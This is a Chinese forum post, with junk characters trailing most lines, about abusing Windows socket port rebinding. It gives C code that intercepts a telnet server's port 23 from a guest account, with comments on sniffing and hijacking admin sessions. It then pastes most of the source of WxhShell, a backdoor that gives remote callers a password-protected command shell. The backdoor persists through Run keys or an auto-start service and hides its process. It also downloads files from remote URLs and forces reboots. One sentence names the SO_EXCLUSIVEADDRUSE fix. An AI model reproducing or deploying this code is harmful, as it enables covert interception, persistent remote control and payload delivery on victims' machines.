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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'wT !X[jF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (`)ZR %i  
S-2@:E  
  saddr.sin_family = AF_INET; Cw$7d:u  
r- 8fvBZ5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )[np{eF.k  
{7Qj+e^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =~P)7D6  
rInZd`\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VtYrU>q  
$i9</Es P  
  这意味着什么?意味着可以进行如下的攻击: es!>u{8)  
X6-;vnlKN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ANuO(^  
76eF6N+%}t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `3?5Z/,y  
,k |QuOrCh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y}*J_7-  
J>dIEW%u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EGw;IFj)  
vT{+Z\LL=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 khQ@DwO*\=  
h]>7Dl]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Rc2JgV  
(TTS-(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iPCDxDLN3V  
K:L_y 1!T  
  #include 5MHc gzyp  
  #include #D ]P3  
  #include ^|UD&6 dx  
  #include    KbGz3O'u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ux-i iH#s  
  int main() S.R|Bwj}(Y  
  { }'WEqNuE  
  WORD wVersionRequested; sL4j@Lt  
  DWORD ret; n%K^G4k^  
  WSADATA wsaData; rGm xK|R  
  BOOL val; rr^?9M*{V  
  SOCKADDR_IN saddr; dGG8k&  
  SOCKADDR_IN scaddr; bZlKy`Z  
  int err; K:q|M?_  
  SOCKET s; Y|nC_7&Bv  
  SOCKET sc; r?2J   
  int caddsize; ` #; "  
  HANDLE mt; &j?+%Y1n@  
  DWORD tid;   S~hoAl"xb/  
  wVersionRequested = MAKEWORD( 2, 2 ); i5#4@ 4aC  
  err = WSAStartup( wVersionRequested, &wsaData ); MG:eI?G/'  
  if ( err != 0 ) { sH51 .JG  
  printf("error!WSAStartup failed!\n"); |crm{]7X  
  return -1; L/xTW  
  } NiBly  
  saddr.sin_family = AF_INET; 0q o]nw  
   ;iO5 8S3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k*K.ZS688  
uJSzz:\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e]*@|e4b  
  saddr.sin_port = htons(23); U W' @3#<?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cnz+%Y N  
  { '1"vwXJ"  
  printf("error!socket failed!\n"); v(P5)R,  
  return -1; g+]o=@  
  } z#*> u  
  val = TRUE; Oh5aJ)"D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #c$z&J7e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y`\rb<AZ*t  
  { gTb%c84  
  printf("error!setsockopt failed!\n"); .~,=?aq^  
  return -1; -T2w?|  
  } vLIaTr gz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a: 2ezxP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |+Cd2[hN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )1gOO{T]h?  
0y`r.)G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9@>Q7AUCQ  
  { `Sal-|[Cv[  
  ret=GetLastError(); & ^;3S*p  
  printf("error!bind failed!\n"); o[%\W  
  return -1; . "Q}2  
  } G=PX'dS  
  listen(s,2); .`jYrW-k  
  while(1) (*Z:ByA  
  { [Om,Q<  
  caddsize = sizeof(scaddr); H,EGB8E2  
  //接受连接请求 a= (vS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \Vx_$E  
  if(sc!=INVALID_SOCKET) 6z2%/P-'  
  { g\1|<jb3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .u:aX$t+  
  if(mt==NULL) :6J&%n  
  { /vs79^&  
  printf("Thread Creat Failed!\n"); Ch_eK^ g1  
  break; (,D:6(R7t  
  } Xi0fX$-,  
  } HcM/  
  CloseHandle(mt); 5'/ff=  
  } ;)q"X>FMZe  
  closesocket(s); *iVE O  
  WSACleanup(); (_=R<:  
  return 0; {uurLEe?  
  }   =wlPm5  
  DWORD WINAPI ClientThread(LPVOID lpParam) JPM~tp?;<  
  { :!wl/X ~  
  SOCKET ss = (SOCKET)lpParam; `L%<3/hF  
  SOCKET sc; _R}yZ=di  
  unsigned char buf[4096]; Lk.tEuj=82  
  SOCKADDR_IN saddr; hC?rHw H>  
  long num; %Ix2NdC  
  DWORD val; p8j*m~4B  
  DWORD ret; Muyi2F)j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L *cP8v4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N@X(YlO  
  saddr.sin_family = AF_INET; hQeG#KQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xdh%mG:?  
  saddr.sin_port = htons(23); e~geBlLar  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G5ShheZd  
  { M(vX.kF  
  printf("error!socket failed!\n"); EiVVVmm!  
  return -1; $HCgawQ  
  }  uU=!e&3  
  val = 100; 3vdFO: j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f)mOeD*u|  
  { v#?;PyeF  
  ret = GetLastError();  U4qk<!  
  return -1; Bru];%Qg%  
  }  ozKS<<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >+DM TV[O  
  { p`EgMzVO,  
  ret = GetLastError(); nu Vux5:  
  return -1; 11c\C Iu  
  } 9bhubx\^/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -/2B fIq  
  { ?Qx4Z3n  
  printf("error!socket connect failed!\n"); `z$P,^g`  
  closesocket(sc);  n (|rs  
  closesocket(ss); _%Yi ^^  
  return -1; C_JO:$\rE  
  } Uf MQ?(,  
  while(1) gAVD-]`  
  { OZC yg/K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |6;-P&_n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jo3(\Bq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I@\D tQZ  
  num = recv(ss,buf,4096,0); 9tb-;|  
  if(num>0) RR's W@  
  send(sc,buf,num,0); ^;F5ymb3U  
  else if(num==0) :LlZ#V2  
  break; wS+!>Q_]w  
  num = recv(sc,buf,4096,0); 3SI0etVr  
  if(num>0) X8ZO } X  
  send(ss,buf,num,0); \w"~DuA  
  else if(num==0) ec/>LJDX7  
  break; 9gglyoZ%  
  } tCm]1ZgRW  
  closesocket(ss); 8vtembna4  
  closesocket(sc); :H&G}T(#  
  return 0 ; ~mwIr  
  } !|j|rYi-  
\WbQS#Z9  
qozvNJm)  
========================================================== ?>iUz.];t  
cD=IFOB*GD  
下边附上一个代码,,WXhSHELL gFrNk Uqp  
=FI[/"476  
========================================================== t72rCq QC  
t`{T:Tjc  
#include "stdafx.h" 13w(Tf  
?L0k|7  
#include <stdio.h> H5&._  
#include <string.h> ez.a  
#include <windows.h> tbiM>qxB  
#include <winsock2.h> s$? LMfT  
#include <winsvc.h> F#M(#!)Y"  
#include <urlmon.h> "^!y>]j#A  
jwBJG7\  
#pragma comment (lib, "Ws2_32.lib") gujP{Z  
#pragma comment (lib, "urlmon.lib") eO(U):C2  
vC `SD]  
#define MAX_USER   100 // 最大客户端连接数 2ZEGE+0  
#define BUF_SOCK   200 // sock buffer )J0h\ky  
#define KEY_BUFF   255 // 输入 buffer p\F%Nj,  
2H0BNrYM  
#define REBOOT     0   // 重启 6>)nkD32g  
#define SHUTDOWN   1   // 关机 ^]'_Qbi]}  
gzqp=I[%  
#define DEF_PORT   5000 // 监听端口 t*-c X  
a@ <-L  
#define REG_LEN     16   // 注册表键长度 deVnAu =  
#define SVC_LEN     80   // NT服务名长度 s,8zj<dUv  
|2@*?o"ll  
// 从dll定义API m4m|?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T_=WX_h $  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MpGG}J[y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c-}[v<o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S*|/txE'~Y  
' |B3@9<  
// wxhshell配置信息 N$IA~)  
struct WSCFG { Z b$]9(RS  
  int ws_port;         // 监听端口 H,5]w\R6\  
  char ws_passstr[REG_LEN]; // 口令 #v xq|$e  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uc'}y!R  
  char ws_regname[REG_LEN]; // 注册表键名 X!/Sk1  
  char ws_svcname[REG_LEN]; // 服务名 h9CTcWGt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  k4dC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q~[s KAh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {srxc4R`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |\?u-O3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f$:SacF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?6&8-zt1?  
i!e8-gVMP&  
};  0.0-rd>  
,xVAJ6_#  
// default Wxhshell configuration  w:QO@  
struct WSCFG wscfg={DEF_PORT, ow{.iv\,u  
    "xuhuanlingzhe", '!8-/nlv1  
    1, 0]iaNR %  
    "Wxhshell", $Oy&PO e  
    "Wxhshell", BLO ]78  
            "WxhShell Service", ?z&%VU"  
    "Wrsky Windows CmdShell Service", 7 [1|(6$  
    "Please Input Your Password: ", iW>^'W#  
  1, SeDk/}/~e  
  "http://www.wrsky.com/wxhshell.exe", ;%^=V#  
  "Wxhshell.exe" ->{-yh]jv  
    }; #0[^jJ3J  
E'DHO2 Y  
// 消息定义模块 nWY^?e'S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7<;oz30G!L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yG/!K uA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qrw  
char *msg_ws_ext="\n\rExit."; *|dK1'Xr  
char *msg_ws_end="\n\rQuit."; Pap6JR{7  
char *msg_ws_boot="\n\rReboot..."; u"*DI=pwb  
char *msg_ws_poff="\n\rShutdown..."; Wu/#}Bw#  
char *msg_ws_down="\n\rSave to "; #IM.7`I   
,:A;4  
char *msg_ws_err="\n\rErr!"; S* O. ?  
char *msg_ws_ok="\n\rOK!"; fM4B.45j  
I*3}erT  
char ExeFile[MAX_PATH]; z_fjmqa?  
int nUser = 0; -HQbvXAS  
HANDLE handles[MAX_USER]; jxkjPf?  
int OsIsNt; s{yw1:  
%}VH5s9\  
SERVICE_STATUS       serviceStatus; 3S7"P$q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z77>W}d  
}0Ns&6)xG  
// 函数声明 ,Q7;(&x~  
int Install(void); ?V^7`3F  
int Uninstall(void); qz>R"pj0g  
int DownloadFile(char *sURL, SOCKET wsh); GgG #]a!_f  
int Boot(int flag); Tgr,1) T  
void HideProc(void); uoI7' :Nv  
int GetOsVer(void); +lqGf  
int Wxhshell(SOCKET wsl); ji1vLu4|t  
void TalkWithClient(void *cs); 0zB[seyE  
int CmdShell(SOCKET sock); "O4A&PJD  
int StartFromService(void); ]>VG}e~b  
int StartWxhshell(LPSTR lpCmdLine); >- \bLr  
")STB8kQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nwUz}em?O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); % (y{Sca  
Bso#+v5  
// 数据结构和表定义 A,cXN1V  
SERVICE_TABLE_ENTRY DispatchTable[] = }ARA K^%  
{ >9dD7FH  
{wscfg.ws_svcname, NTServiceMain}, yQ N{)rv  
{NULL, NULL} ^D$|$=|DH  
}; \xCCJWek  
aY>v  
// 自我安装 R; c9)>8L  
int Install(void) kygw}|, N  
{ g=56|G7n  
  char svExeFile[MAX_PATH]; i#`q<+/q  
  HKEY key; 6^ [ 4.D  
  strcpy(svExeFile,ExeFile); |2u=3#Jp  
?!U[~Gq  
// 如果是win9x系统,修改注册表设为自启动 @I`^\oJ  
if(!OsIsNt) { | :-i[G?n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F`QViZ'n>#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nOGTeKjEJ  
  RegCloseKey(key); jRS{7rx%MH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #;j:;LRU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WI/tWj0  
  RegCloseKey(key); Ec@n<KK#  
  return 0; 2+ cs^M3  
    } Sz go@x$^  
  } 6p)AQTh>  
} Q,&Li+u|  
else { 5dj@N3ZX7;  
-{xk&EB^$5  
// 如果是NT以上系统,安装为系统服务 Nhjq.&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "+ou!YK+  
if (schSCManager!=0) <ukBAux,D  
{ >Q\Kc=Q|  
  SC_HANDLE schService = CreateService {7OHEArv  
  ( Y"GNJtsL"  
  schSCManager, n|~y >w4  
  wscfg.ws_svcname, zXn-E  
  wscfg.ws_svcdisp, PC#^L$cg}  
  SERVICE_ALL_ACCESS, #_wq#rF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :pqUUZ6x&  
  SERVICE_AUTO_START, ,KW Q 6  
  SERVICE_ERROR_NORMAL, 9qB0F_xl  
  svExeFile, LKu\Mh|  
  NULL, S%i^`_=Q  
  NULL, ZNX38<3h  
  NULL, V*uE83x 1  
  NULL, |1~n<=`Z  
  NULL 'p&,'+x  
  ); qUkM No3  
  if (schService!=0) VI&x1C  
  { ;=ddv@  
  CloseServiceHandle(schService); $Iwvecn?I  
  CloseServiceHandle(schSCManager); /uwi$~Ed  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _qxI9Q}<"  
  strcat(svExeFile,wscfg.ws_svcname); ?FQ#I~'<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XVYFyza;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -Z"4W  
  RegCloseKey(key); "+F'WCJ-(*  
  return 0; y>P+"Z.K%}  
    } [>O!~  
  } *|fF;-#v  
  CloseServiceHandle(schSCManager); WEimJrAn  
} ^Co$X+  
} >X*tMhcb  
N T`S)P*?  
return 1; 'u7-Qetj  
} gsk? !D  
bO=|utpk  
// 自我卸载 h+FM?ct6}  
int Uninstall(void) "jFf}"  
{ )D,KG_7l  
  HKEY key; t~) P1Lof\  
A9$x8x*Lt  
if(!OsIsNt) { o$rjGa l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |1U_5w  
  RegDeleteValue(key,wscfg.ws_regname); *2G6Q g F  
  RegCloseKey(key); >NRppPqL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ky2 bj}"p9  
  RegDeleteValue(key,wscfg.ws_regname); FlBhCZ|^  
  RegCloseKey(key); FE~D:)Xj'?  
  return 0; r7m~.M+W"  
  } CJ IuMsZ  
} zw/AZLS  
} ;)(g$r^_i  
else { D@O `"2  
$5R2QNg n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cMw<3u\  
if (schSCManager!=0) 6>a6;[  
{ m9 h '!X<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); > N~8#C  
  if (schService!=0) f!9i6  
  { 3e_tT8  
  if(DeleteService(schService)!=0) { 3 jZMXEG)  
  CloseServiceHandle(schService); i+Z)`  
  CloseServiceHandle(schSCManager); O$,F ga  
  return 0; 95l)s],  
  } u\]EG{w(  
  CloseServiceHandle(schService); ! _S#8"  
  } 4ax{Chn  
  CloseServiceHandle(schSCManager); ~KBa-i%o  
} kA:mB;:  
} -*C WF|<G  
IOy0WHl|  
return 1; &9L4 t%As  
} /( Wq  
zBF~:Uc`B  
// 从指定url下载文件 u_(~zs.N]  
int DownloadFile(char *sURL, SOCKET wsh) ;tjOEmIiU  
{ `JySuP2~/  
  HRESULT hr; 36 "n7  
char seps[]= "/"; cb}"giXQTB  
char *token; (Xd8'-G$m  
char *file; ujU,O%.n  
char myURL[MAX_PATH]; Fc~G*Gz~Z|  
char myFILE[MAX_PATH]; nf.Ox.kM)  
-@pjEI  
strcpy(myURL,sURL); VW-qQe  
  token=strtok(myURL,seps); B~p%pT S+  
  while(token!=NULL) !J$r|IX5  
  { FlqGexY5  
    file=token; @!sK@&ow@%  
  token=strtok(NULL,seps); o?`FjZ6;x  
  } ul~ux$a  
4Uy%wB  
GetCurrentDirectory(MAX_PATH,myFILE); "H-s_Y#  
strcat(myFILE, "\\"); -$Oh.B`i  
strcat(myFILE, file); 3_(_yEKx  
  send(wsh,myFILE,strlen(myFILE),0); .WSyL  
send(wsh,"...",3,0); &d_^k.%y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  WR;1  
  if(hr==S_OK) HK;NR.D  
return 0; DB'v7 Ij0  
else @-U\!Tf  
return 1; b9b Ivjm_  
M5dYcCDE  
} NkZG   
bZqTT~'T  
// 系统电源模块 ]G/m,Zv*:  
int Boot(int flag) =RoG?gd{R  
{ eV9U+]C`  
  HANDLE hToken; Abc{<4 z0?  
  TOKEN_PRIVILEGES tkp; kK6O ZhLH  
E/;t6& 6  
  if(OsIsNt) { m'o dVZ7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .wfydu)3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SE'Im  
    tkp.PrivilegeCount = 1; d:=' Xs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t R^f]+Up  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LrB 0x>  
if(flag==REBOOT) { HIg2y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '7iz5wC#  
  return 0; JJ: ku&Mb  
} ?uWUs )9  
else { wlS/(:02  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iT]t`7R  
  return 0; ZpTDM1ro  
} ?CpVA  
  } ;%e&6  
  else { I/E9:  
if(flag==REBOOT) { TW|K.t@5#H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N /4E ~^2  
  return 0; 2+1ybOwb  
} f ULt4  
else { '{&Q&3J_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2t= = <x  
  return 0; Ge^`f<f  
} [vg&E )V  
} oC0ndp~+&  
56V|=MzX]  
return 1; HD j6E"  
} FI.te3i?7  
HsY5wC  
// win9x进程隐藏模块 -3Kh >b)  
void HideProc(void) 6o't3Peh  
{ U4D7@KY +m  
rH@Rh}#yp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \8vP"Kr  
  if ( hKernel != NULL ) a4Q@sn;]  
  { }(EH5jZ'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e3I""D{)[=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zsL@0]e&  
    FreeLibrary(hKernel); D|uvgu2  
  } GppCrQ%Ra|  
=L W!$p  
return;  N' hT  
} lY%I("2=  
N>mW64_H)  
// 获取操作系统版本 'uL4ezTtA  
int GetOsVer(void) (x=$b(I  
{ 7KC>?F  
  OSVERSIONINFO winfo; HuhQ|~C+~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3j7FG%\  
  GetVersionEx(&winfo); b8WtNVd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cu!%aM,/<-  
  return 1; jn(x-fj6R  
  else c 1YDln  
  return 0; "@Vyc6L  
} [F-R*}&x  
/\mtCa.O  
// 客户端句柄模块 T#!>mL|9|  
int Wxhshell(SOCKET wsl) d |17G  
{ yw1 &I^7  
  SOCKET wsh; b:==:d:0s  
  struct sockaddr_in client; z.Cj%N  
  DWORD myID; o'2eSm0H  
PK|-2R"M  
  while(nUser<MAX_USER) 35\ |#2qw6  
{ W+h2rv  
  int nSize=sizeof(client); ]#:WL)@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mx Nd_{n  
  if(wsh==INVALID_SOCKET) return 1; K%q5:9m  
rc_m{.b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M @5&.  
if(handles[nUser]==0) ] !/  
  closesocket(wsh); ?=1eHnP!R  
else qb>ULP0  
  nUser++; r:*G{m-  
  } ON2o^-%=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H|% J"  
{npm9w<;  
  return 0; g~hMOI?KK^  
} 2` o @L  
B+W7zv  
// 关闭 socket oE ' P  
void CloseIt(SOCKET wsh) 10S I&O  
{ ?I+L  
closesocket(wsh); ^Jp T8B}  
nUser--; ^exU]5nvz  
ExitThread(0); us.#|~i<h  
} C4+DZ<pE  
gN/<g8  
// 客户端请求句柄 C;W@OS-;  
void TalkWithClient(void *cs) OBi(]l}^O  
{ JFT$1^n  
z; GQnAG@  
  SOCKET wsh=(SOCKET)cs; g=Z52y`N<  
  char pwd[SVC_LEN]; 25>R^2,LiE  
  char cmd[KEY_BUFF]; * %D_\0;  
char chr[1]; n`,  <g  
int i,j; )vW'g3u_  
*Fy6 -CC1  
  while (nUser < MAX_USER) { "Zp&7hI  
z\ZnxZ@  
if(wscfg.ws_passstr) { DY2*B"^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / VYT](  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "&6vFmr  
  //ZeroMemory(pwd,KEY_BUFF); ^/C\:hw  
      i=0; }3 xkA  
  while(i<SVC_LEN) { 'f( CN3.!  
X1#Ar)  
  // 设置超时 x^ `/&+m  
  fd_set FdRead; 1T!o`*  
  struct timeval TimeOut; )Zq'r L<  
  FD_ZERO(&FdRead); ciS +.%7  
  FD_SET(wsh,&FdRead); $nt&'Xnv  
  TimeOut.tv_sec=8; {irc0gI  
  TimeOut.tv_usec=0; BUXE s0]Lv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q T6y&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "OLg2O^  
?+zFa2J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &5W;E+Pub  
  pwd=chr[0]; M@[W"f Wq  
  if(chr[0]==0xd || chr[0]==0xa) { 6KddHyFz  
  pwd=0; Ci`o;KVj  
  break; DNGyEC  
  } O#)1 zD}  
  i++; DTO_IP  
    } {$8+n::  
{H)7K.hQN  
  // 如果是非法用户,关闭 socket >7W)iwF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]IV{;{E)  
} x}/jh  
C.?^] Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n ]g"H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $8\u  
lOm01&^"E  
while(1) { H_&to3b(  
MG?,,8sO  
  ZeroMemory(cmd,KEY_BUFF); m)A:w.o  
;@Zuet  
      // 自动支持客户端 telnet标准   gTj,I=3$?e  
  j=0; ,p|Q/M^  
  while(j<KEY_BUFF) { yrxX[Hg?@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lm[,^k  
  cmd[j]=chr[0]; M-@RgWvF  
  if(chr[0]==0xa || chr[0]==0xd) { JwI99I'  
  cmd[j]=0; 2Qe&FeT  
  break; A4zI1QF  
  } M'%4BOpI6`  
  j++; W&hW N9iR  
    } T=PqA)Ym  
"z9C@T  
  // 下载文件 DO~ D?/ia  
  if(strstr(cmd,"http://")) { v]EMJm6d|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4X^$"lM  
  if(DownloadFile(cmd,wsh)) C3'xU`=7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJA_" xp  
  else d*8*9CpO:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ny KfM5s_  
  } Z@s[8wrmPl  
  else { vn}m-U XA*  
{0,b[  
    switch(cmd[0]) { %`i*SF(gV  
  8\s#law  
  // 帮助 SJ]6_4=y*  
  case '?': { P!79{8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (_ G>dP_  
    break; |OeWM  
  } [q|W*[B:@  
  // 安装 C>|.0:[%  
  case 'i': { h(=<-p @  
    if(Install()) A:m+v{*`4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Fx]LeI;  
    else ."wF86jW|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h #ZbErW  
    break; %SC Jmn2  
    } kt6)F&;$  
  // 卸载 SZH`-xb!+5  
  case 'r': { /Bt!xSI  
    if(Uninstall())  26p[x'W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7DDPJ~  
    else CHGa_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NF0_D1Goi  
    break; SnG(/1C8  
    } +&S 7l%-  
  // 显示 wxhshell 所在路径 #1-WiweO  
  case 'p': { K 4GuOl  
    char svExeFile[MAX_PATH]; o8X_uKEI  
    strcpy(svExeFile,"\n\r"); ht>%O7  
      strcat(svExeFile,ExeFile); Q/g!h}>(.  
        send(wsh,svExeFile,strlen(svExeFile),0); P")I)> Q6  
    break; t*hy"e{*a  
    } lpXGsK H2  
  // 重启 hJ(vDv%  
  case 'b': { Z[Tou  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u\Cf@}5(  
    if(Boot(REBOOT)) j&X&&=   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=eC1 bQA  
    else { u)<]Pb})r  
    closesocket(wsh); m[eqTh4*  
    ExitThread(0); !JXiTI!  
    } 1r=cCM  
    break; A,F~*LXm  
    } qFWN._R  
  // 关机 Srx:rUCv  
  case 'd': { x|m9?[ !_  
